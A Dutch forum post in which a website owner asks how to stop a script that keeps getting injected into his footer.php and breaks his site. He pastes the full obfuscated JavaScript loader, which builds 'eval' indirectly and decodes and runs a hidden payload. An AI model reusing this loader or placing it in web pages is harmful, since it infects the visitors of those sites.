Raar virus hoe kan ik het blokkeren?

  • Hallo allemaal,


    Ik heb een paar site's online staan op het internet.
    Alleen ik kan op de ftp maar ongeveer elke week krijg ik last dat deze code opeens in mijn footer.php zit en als die code in mijn script staat werkt de site ook niet meer:S
    En dan staat er opeens op mijn site dat er schadelijke software is gevonden:((


    Dit is de code:

    PHP
    <script>el=document.createElement("div");el.appendChild(document.createTextNode("ReferenceErr"));el.appendChild(document.createTextNode("q"));el.insertBefore(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="}g0CoyuwdTeai]{sNmh2(>c[.;z) , =pv1b\"tfB6rA'<nj:E/l";ar2="R120c120c48c152c112c80c32c16c88c24c68c40c180c148c96c4c40c148c192c200c40c68c40c180c148c60c156c20c36c44c4c64c44c68c40c80c172c140c16c32c20c172c108c92c8c52c108c56c120c120c120c48c152c164c44c68c40c164c80c108c100c120c120c0c112c40c200c60c40c112c56c120c120c120c32c16c88c24c68c40c180c148c96c28c164c48c148c40c80c144c176c48c152c164c44c68c40c112c60c164c88c124c172c72c148c148c128c188c196c196c104c48c40c184c128c104c164c132c96c88c104c96c88c88c196c88c16c24c180c148c76c160c96c128c72c128c172c112c28c48c32c148c72c124c172c136c8c172c112c72c40c48c4c72c148c124c172c136c8c172c112c60c148c20c200c40c124c172c132c48c60c48c140c48c200c48c148c20c188c72c48c32c32c40c180c100c128c16c60c48c148c48c16c180c188c44c140c60c16c200c24c148c40c100c200c40c152c148c188c8c100c148c16c128c188c8c100c172c84c176c196c48c152c164c44c68c40c84c144c108c100c120c120c0c120c120c152c24c180c88c148c48c16c180c112c48c152c164c44c68c40c164c80c108c56c120c120c120c132c44c164c112c152c112c124c112c32c16c88c24c68c40c180c148c96c88c164c40c44c148c40c192c200c40c68c40c180c148c80c172c48c152c164c44c68c40c172c108c100c152c96c60c40c148c168c148c148c164c48c140c24c148c40c80c172c60c164c88c172c116c172c72c148c148c128c188c196c196c104c48c40c184c128c104c164c132c96c88c104c96c88c88c196c88c16c24c180c148c76c160c96c128c72c128c172c108c100c152c96c60c148c20c200c40c96c132c48c60c48c140c48c200c48c148c20c124c172c72c48c32c32c40c180c172c100c152c96c60c148c20c200c40c96c128c16c60c48c148c48c16c180c124c172c44c140c60c16c200c24c148c40c172c100c152c96c60c148c20c200c40c96c200c40c152c148c124c172c8c172c100c152c96c60c148c20c200c40c96c148c16c128c124c172c8c172c100c152c96c60c40c148c168c148c148c164c48c140c24c148c40c80c172c28c48c32c148c72c172c116c172c136c8c172c108c100c152c96c60c40c148c168c148c148c164c48c140c24c148c40c80c172c72c40c48c4c72c148c172c116c172c136c8c172c108c100c120c120c120c32c16c88c24c68c40c180c148c96c4c40c148c192c200c40c68c40c180c148c60c156c20c36c44c4c64c44c68c40c80c172c140c16c32c20c172c108c92c8c52c96c44c128c128c40c180c32c12c72c48c200c32c80c152c108c100c120c120c0";pau="urn eReferenceErr".replace(k,"va"+el.childNodes[1].nodeValue);e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="120";s="";for(i=0;i!=ar2.length;i++){e('po'.concat('s=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');}
    e(s);</script>


    Mijn vraag is dus of ik dit script kan blokkeren want ik heb er ongeveer elke week wel last van.
    Alvast bedankt:cheer:


    Groetjes,
    Fitim

  • Guest, wil je besparen op je domeinnamen? (ad)

Participate now!

Heb je nog geen account? Registreer je nu en word deel van onze community!